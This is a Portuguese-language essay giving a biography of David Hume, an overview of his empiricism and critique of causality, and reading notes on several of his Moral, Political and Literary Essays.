David Hume – biografia e pensamentos

David Hume

David Hume Portrait

David Hume (1711-1776) nasceu em
Edimburgo, Escócia, no dia sete de maio. Seu pai era um fidalgo
da aldeia de Chirnside, onde tinha um sítio chamado Ninewells. Lá
Hume passou a infância. Aos três anos perdeu o pai. Aos doze
anos foi para Edimburgo junto com o irmão para estudar. Desde cedo
gostou dos clássicos e adquiriu uma sólida formação
cultural. Manifesta gosto pela filosofia.  Mas seus familiares queriam
que ele estudasse advocacia. Ele entra na faculdade de jurisprudência,
mas a abandona em 1726. Foi ler Cícero, Virgílio e Horácio.
Desde os quinze anos tinha idéias para seu livro, o Tratado da
natureza humana
, que iria dar origem mais tarde à  Investigação
sobre o entendimento humano.
O tratado é considerado por muitos
a sua melhor obra, apesar de ele ser muito jovem quando a escreveu. Em
1729, instigado por um insight que tivera sobre a nova ciência da
natureza humana, mergulhou ainda mais nos estudos.

Hume namorou Anne Galbrath, que queria
sua paternidade para um filho. Ela era casada. Hume sofre então de
saúde, também porque estudava muito. Só se recuperou
depois de um tratamento. Querendo correr o mundo aceitou o emprego de mercador,
mas foi só até a França. Lá viveu três
anos, adquirindo cultura, isolado. Em 1739 publica o Tratado sobre a
natureza humana
, depois de uma revisão feita para não
chocar a filosofia oficial. Mas mesmo assim suas críticas à 
metafísica tradicional eram contudentes. O livro não teve
repercussão. Decepcionado, vai para Ninewells, e se relaciona com
Adam Smith. O terceiro volume do tratado só é publicado em
1740. Em 1741, Hume publica os Ensaios morais, politícos e literários. 
A obra é bem recebida, mas a repercussão não satisfaz
a ambição de Hume. Candidata-se ao cargo de professor de ética
na universidade de Edimburgo mas não é aceito, acusado de
ateísmo e heresia.

Em 1745, virou preceptor do marquês
de Amandale. Em 1746 tornou-se secretário do general Saint-Clair,
participa então de uma expedição à  França
e uma missão diplomática em Viena e Turim. Em 1748 é
publicado a Investigação sobre o entendimento humano.
Em 1751 surge os Diálogos sobre a religião natural,
que só é publicado postumamente. Entre 1754 e 1762 publica
a enorme História da Inglaterra. Enfim ele adquire fama e
notoriedade como escritor. É assediado pelas mulheres, apesar de
não ter boa aparência. Mas também tem critícos,
entre eles os religiosos. Faz então várias amizades, como
a com D’alembert (1727-1783), para quem deixa uma herança, e com
o filósofo Helvetius (1715-1771). Em 1766, Hume volta à Inglaterra,
junto com Rousseau. Hume lhe oferece proteção. Mas Rousseau
tinha mania de perseguição, e acusa Hume de liderar um complô
contra a sua pessoa. Acaba-se então a amizade. Hume escreve uma
autobiografia, publicada após sua morte.

David Hume é o filósofo
bretão mais importante do século XVIII. Ele é um empirista,
e tira de Locke o sentido das representações, dividindo-as
em representações dos sentidos e de auto percepção.
As representações são póstumas às sensações.
As impressões são sensações. A percepção
pura, o sentir, o primeiro contato com o mundo – como uma criança
o tem antes de se envolver em reflexões e desenvolver a mente, tudo
isso são impressões. Mais tarde, através da representação,o
sujeito forma a idéia. A idéia é um reflexo da impressão,
uma cópia pálida, até uma deturpação
da percepção bruta. Um exemplo de impressão é
uma noção simples como perceber a tristeza. Um exemplo de
idéia seria um anjo. Através das impressões criamos
imagens (vale dizer quimeras) que não existem no mundo material.
Para se chegar na imagem de um anjo tenho que compô-la.

A essa teoria de Hume dá-se
o nome de empirismo psicológico, cuja consequência é
o empirismo lógico. Uma palavra só é significativa
se tem um correspondente no mundo. No uso nominal, precisamos da base empírica.
Um triângulo, por exemplo é um nome que designa toda espécie
de triângulos. Hume critica os livros filosóficos, complicados
e aborrecidos, com as suas fórmulas sem a base no real. Dessa natureza
são as conclusões metafísicas. A noção
de substância, por exemplo não provém dos sentidos.
E referindo-se à esses livros fala Hume: “Atira-o então ao fogo”.

Todas as idéias válidas
tem fundamento na impressão. A abstração não
existe. A base do conhecimento são as impressões e relações
entre  as idéias, como as associações. Todas
as impressões são inatas. Por inatismo Hume considera tudo
que é original, e não uma cópia. Assim, as idéias
não são inatas e Hume refuta o inatismo clássico,
como Locke. As verdades dos princípios matemáticos são
irrefutáveis. As deduções lógicas existem por
demonstração.

O infinitamente pequeno não
tem sentido, pois depende do ponto de vista, e quando este muda, o antigo
desaparece.

Os objetos da razão podem
ser dividos em relações de idéias e questões
de  fatos. Ao primeiro grupo pertence as verdades matemáticas.
Um triângulo terá em seus ângulos internos sempre a
soma de dois retos, ou terá sempre três ângulos porque
as coisas são assim por definição. No conceito de
triângulo já está envolta esta definição.
Ou seja, a relação de idéias remete apenas à
própria razão humana que definem as relações
de Idéias de um certo modo, e neste mundo, mesmo que não
seja possível haver triângulos no mundo, ele será o
que o que o homem definiu, pois é assim por convenção.

As conclusões de Hume tem
valor assertório (assim é) e não apodítico
(assim tem que ser). Essas conclusões tem uma validade universal,
nasce comparando-se idéias, mas essas não são efetivas,
só os objetos pensados tem efetividade.

O empirismo cético de Hume
procede da filosofia de Berkeley e Locke. Como eles, Hume também
critica o conceito de substância. Mas enquanto Berkeley criticava
apenas a substância material , Hume ataca também a espiritual.
Ele avança sobre a teoria de Berkeley. Refuta o conceito de alma
de Descartes. O Eu de Hume não é simples e fixo, mas um feixe
de sensações, de conteúdos da consciência, que
estão em fluxo constante e se sucedem rapidamente. A consciência
trabalha com uma soma de instantes. O eu só funciona quando temos
um ato de presença, de acordo com esse feixe. Quando se morre, o
eu se anula.

Essa teoria de fluxo do eu, desenvolvida
por Hume pode ser associada com o budismo, que considera a vida uma sucessão
de processos físicos e mentais que modificam o ser a cada dia. Também
podemos traçar paralelos com o devir de Heráclito. Hume chamou
a atenção para o poder fixador da consciência dos hábitos.
E mais tarde, o místico Carlos Castaneda fez uma distinção
parecida, dividindo a percepção em habitual ou extraordinária.

Hume atribui a origem da representação
do eu à imaginação. Existem três princípios
de associação das representações: contiguidade
espacial e temporal, a de semelhança e a de causalidade. Hume argumentou
contra a certeza que se tem do próprio eu e se posicionou contra a certeza que o eu sobreviva
à própria morte.

Hume demonstra que não podemos
ter certeza de nenhuma teoria a respeito da realidade.

A critica do princípio de
causalidade de Hume é famosa. Kant a aceitou. Aliás, Kant
disse, nos Prolegómenos a toda metafísica futura,
que D. Hume lhe despertou do seu sono dogmático. Ao ouvirmos uma
voz, supomos que ela tem dono. É a relação causa e
efeito. Na primeira vez que isso acontece associamos a voz ao dono. Posteriormente
usamos essa associação em qualquer experiência semelhante.
Assim, estão ligados a causalidade e a indução. Existe
uma associação entre o anterior e o posterior. Como no tempo
um fenômeno se sucede a outro, pode se concluir que eles estão
ligados. Hume diz que essa ligação não provém
da razão. O fato de esperarmos certos efeitos de alguns fenômenos,
seja por hábito ou por observação demonstrativa, faz
com que vejamos a natureza de determinada maneira. Para garantir sua sobreviência,
o homem coloca ordem nas coisas. Dá preferência ao útil.
A base das ciências naturais para Hume é irracional. A natureza
sobrepõe-se à razão. Ser filósofo, na consequência
final, é renunciar ao racionalismo. O princípo causal tem
origem na experiência. Temos a mente formatada pelo costume e experiência.
Aceitamos uma coisa como natural, mas se fosse de outra maneira, aceitaríamos
da mesma forma, como por exemplo controlar a força que dá
vida e faz com que cada ser perceba de um jeito. Se isso fosse natural,
todos aceitariam como lei da natureza. As leis da natureza surgem assim.

Mas Hume admite a existência
objetiva dos efeitos da natureza. Mesmo um cético tem que aceitar
a existência de um corpo. Mas as verdades das leis da natureza são
apenas as mais prováveis de acontecer. A causalidade não
é objetiva, pois nem sempre as mesmas causas produzem o mesmos efeitos.
A certeza deve ser substituída pela probabilidade. A expectatica
que um evento ocorra é humano, não está na coisa em
si.

Hume não acreditava em milagres
porque nunca havia visto um. Mas também não dizia que eles
não existiam. A origem da religião é o sentimento,
assim como a da moral. É temperando o lado prático, sentimento,
temor e esperança, que criamos a fé e os deuses. Moralmente
aceitos, os princípios céticos são os mais úteis
e agradávis para a maioria. As verdades morais não são
eternas. Hume coloca questão do que é o bem para o homem
. Sua teoria moral tem um tom altruístico.

Em algumas passagens Hume fala do
Ser supremo, bondoso , justo e severo, senhor da mãe natureza. Apesar
de seu ceticismo não era ateu, como muitos dizem.

Fichamento do livro Ensaios Morais,
Políticos e literários

Num dos Ensaios Morais, políticos
e literários, O Epicurista, mr. D. Hume fala que o homem
aspira à perfeição da natureza com a arte, que a inspira.
Ele critica a felicidade artificial, forçada, contrapondo a ela
o delito dos sentidos. Alguns chamam Hume de sensualista. Ele citica os
sábios, o caminho da felicidade vem de dentro, não de teorias.
É nesse caminho que atingimos o prazer. O prazer é irmão
da virtude, e ele traz junto consigo os amigos do narrador. E com os amigos
a descontração vem. Outro personagem é a sorridente
Inocência. A linguagem é jovial, para a frente, enaltece o
arrebatamento. É a relação com os epicuristas, e sua
doutrina de prazer.

No ensaio seguinte, O Estóico,
Hume continua louvando a natureza, essa benevolente mãe de todos.
Contrapõe a civilidade à bárbarie, dizendo que devemos
apurar nosso gosto pelas artes. A natureza foi gentil com os humanos, pois
ele é superior aos animais, mas ele deve buscar a civilidade através
da educação, e a competência. Um bom prazer é
do trabalho honesto. A indolência gera cansaço. Devemos apefeiçoar
o espírito e refletir. Quando acharmos regras para nossa conduta,
seremos filósofos, quando aplicarmos elas na prática, seremos
sábios.

No Ensaio O Platônico,
Hume fala da diversidade dos gostos humanos. Evoca uma bonita imagem, dizendo
que os humanos são regatos que tiveram origem no Oceano, Deus, e
para lá querem voltar. Fala da contemplação dos filósofos,
que deve se voltar para a perfeição e beleza do universo.
Os obstáculos para isso estão nas pessoas, entre eles a brevidade
da vida.

No ensaio O cético,
Hume fala que não podemos recorrer às fórmulas filosóficas
para o prazer, sendo infinita a gama de variações das perspectivas
humanas. Sendo assim, o único princípio certo da filosofia
é que as coisas em si não tem as qualidades que os humanos
lhes propõe. Hume volta a falar que é uma impressão
de cada um essas qualidades. A paixão é o que atribui valor 
aos objetos e aos seres. O homem experimenta um deleite ao observar os
objetos tomados em si, que traz um sentimento, levando-o a classificar
o objeto como bonito ou feio, desejável ou odiável. Os homes
são iguais , e toda diferença entre eles reside na paixão
ou fruição.

Hume lamenta o fato de muitos terem
aspereza de espírito. A filosofia corrige isso. Apesar de ser para
poucos, leva ao prazer.

O mal deriva da ordem do universo,
que apesar de ser perfeito, engloba-o. Devemos, para escapar ter na vista
as misérias e infortúnios da natureza, nos prevenir, e conhecer
os males.

No Ensaio Da Origem do Governo,
Hume fala que na sociedade tradicional, uma pessoa nascida em família
tem que conservar essa sociedade. Isso é necessário para
a distribuição da justiça, que é o principal
motivo da existência do governo.

A natureza humana tem seu lado maligno,
que vai contra a justiça, sendo necessário a paz e a ordem
para conservar a sociedade. Por causa desse lado do homem, é preciso
criar encargos para garantir a obediência, um dever.

Os homens do governo tem de ter em
si valores que sirvam de exemplo. Uma vez garantida a obediência,
através dos hábitos, os homens aprendem a aceitar sem questionar.
O governo tem uma origem acidental, como por exemplo a liderança
numa guerra. Em todo o governo existe o conflito entra autoridade e liberdade.
Esse conflito resulta numa ordem mediana entre os dois, que nunca podem
ser absolutos.

No ensaio Do contrato Original,
Hume defende a origem divina do governo, dizendo que esse é necessário
para a raça humana e foi desejado pelo Ser bondoso e Onisciente.
O contrato original nasce do consenso entre um povo. Hume diz que o vigor
dos membros e a coragem são a força natural de um homem.
A obediência, depois de ser consolidade através de gerações,
é aceita como natural. A autoridade estabelecida surge de um ato
de razão.

Um chefe impede a comunicação
e o lazer e se mantém por causa da ignorância do povo. Assim
foram fundados os governos, baseados no contrato original. Hume fala que
a disposição política das terras está em constante
mudança, através da violência. E pergunta: Onde está
o acordo mútuo? Então ele analisa as eleições.
Hume fala que em Atenas ocorreu a maior democracia e  entanto, o voto
era limitado. Hume defende a idéia de que o governo não tem
origem no consenso popular, como havia dado a entender, mas esse consenso
nasce da força. A utopia da justiça é impossível
pela natureza humana. O fluxo da vida torna necessário uma passagem
de valores hereditariamente.

Há duas espécies de
deveres morais. Na primeira, o que determina é o instinto, a propensão
natural, como o amor pelas crianças. A segunda espécie não
se origina por instinto. Elas derivam da obrigação, são
necessárias para termos a sociedade. O sentido da justiça
e a lealdade derivam da segunda espécie.

Depois de refutar as origens filosóficas
e religiosas do governo como consenso popular, Hume investiga o porquê
da submissão no Ensaio Da Obediência Passiva. A justiça
deve ter utilidade pública. A lei deve buscar a segurança
do povo. Hume critca a monarquia chamando esse partido de arrogante. Ele
analisa a política da sua época, mas mantém a imparcialidade.
Hume defende o direito de resistência á tirania.

No Ensaio Dos primeiros princípos
do governo
, Hume fala que é motivo de admiração
fato de muitos abdicarem de seus sentimentos em favor de poucos. A opinião
pode ser de interesse ou de direito. A opinião de interesse deriva
do benefício do governo..

O direito pode ser ao poder e a propriedade
(lembre-se que Locke defendeu o direito à propriedade como natural).
O direito ao poder predomina. Essas opiniões são importantes
para o governo, mas o interesse pessoal, o medo e a afeição
pode limitá-las.

No Ensaio Da Sucessão protestante,
Hume analisa a sucessão hereditária, citando alguns políticos
ingleses da sua época. Diz que a monarquia protege o povo e mantém
a liberdade. Em ensaios anteriores , seu parecer a monarquia não
era favorável.

Os governos absolutos dependem da
sua administração . Hume fala que se pode dizer que o governo
hereditário dos princípes , uma nobreza sem vassalos e um
povo escolhendo seus representantes são a melhor coisa da monarquia
, aristocracia e democracia. Mas questiona se as fórmulas gerais
da política podem ser efetivas. no Ensaio Que a política
pode ser transforamada em ciência
. Hume comenta Maquiavel, dizendo
que parte de sua teoria tem base falsa. Uma constituição
pode ser considerada boa se fornece remédio contra a má administração.

No Ensaio Da liberdade Civil,
Hume fala que as pessoas livres de preconceitos, se dedicam a questões
partidárias e poltícas, contribuem para a utilidade pública.
Mas todos são demasiados jovens e não há fórmula
aceitável. Hume fala de Maquiavel, diz que ele era um gênio, mas que as
experiências posteriores refutaram suas teorias .

Hume identifica a mudança
que se dá no Estado devido ao poder da instituição.
É quando se passa de um governo de homens para um governo de leis.

Hume gostava do filosófo pré
socrático Xenofonte, e busca nele informações históricas
diversas vezes.

No Ensaio Idéia de uma
República Perfeita
, Hume coloca a problemática de que
não é fácil mudar um governo, mesmo que seja para
melhor. Ele fala das teoóricos que fizeram planos imaginários
de governo, como Thomas More e Platão.

Hume esboça um sistema de
governo com o senado, o condado e representantes. Ele fala dos poderes
Executivo e Legilativo, necessários para o equilíbrio.

Hume coloca que o espírito
humano se contenta, acha natural, a unanimidade de opiniões e fica
perturbado com as opiniões diferentes. Ele critica o clero pelo
maior uso do poder, que levou à violência. Quando o cristianismo
surgiu, a filosofia já estava adiantada. Os cristãos fizeram
um sistema de opiniões especulativas e explicaçõesreligiosas
que levam ao debate de fé e ao fanatismo. Hume fala que os padres
são contra a liberdade.

David Hume mantém moderação
entre as disputas que comenta: a dos partidos ingleses. Pretende ver cada
ponto de vista e encontrar um meio termo. Ele fala dos Tudor e dos Stuart.
A força do governo vem da prática.

No ensaio Da Superstição
e do Entusiasmo
, Hume fala que a supertição e o entusiasmo
são exemplos falsos de religião. A alma humana pode alcançar
um estado de espírito negativo, e criar objetos imaginários,
atribuindo poderes a coisas inexistentes.

Outro tipo de estado de espírito
leva ao entusiasmo. Nele, a imaginação flui. O mundo material,
mortal , perde sua grandeza. O arrebatamento toma conta. Atribue-se a origem
dele a Deus. Hume diz que a esperança, o orgulho, a presunção
e a imaginação são a fonte do entusiasmo. Ele volta
a criticar os padres, dizendo que estes se tornam tiranos.

No ensaio Da Origem e progresso
das artes e ciências
, Hume chama a atenção para
a distinção que deve ser feita entre o que é ao acaso
e o que provém da causa. O que depende de poucos vem do acaso e
ao contrário vem das causas. Na história da arte e da ciência,
deve se ter cautela para não confundir as causas, ou achar causas
inexistentes.

A arte e a ciência surgem apenas
em um governo livre. Um empregado nunca acharia seu patrão um herói.
Estados vizinhos e independentes devem ser ligados pelo comércio
e política. As críticas vem de outras nações,
como os erros de Descartes e críticas a Newton vieram de países
vizinhos, enquanto eram aceitos pelos seus conterrâneos. Hume defende
mais uma vez a República, dizendo que é o melhor regime para
o florescimento artístico e científico, ou seja a república
é um Estado livre.

Hume fala que o homem é superior
a mulher, mas a natureza proveu todas as espécies de amor entre
os sexos, mesmo que seja por pouco tempo.

No ensaio Da eloquência, Hume
coloca que certos sentimentos nascidos da vaidade são a o origem
das disputas. Ele elogia os oradores gregos e romanos, como Demóstenes.

Nesses ensaios Hume defende um ponto,
que a natureza humana tem seu lado maligno e que o preconceito destrói
a capacidade de raciocínio, sendo a arrogância um defeito
comum. Deus é o ser Supremo, deseja o bem. Então experimentamos
as sensações puras. Na civilização tais sensações
são pervertidas pelos defeitos que Hume cita. Esses defeitos comuns
afastam Deus. Mas há homens com gosto delicado, e eles são
superiores.




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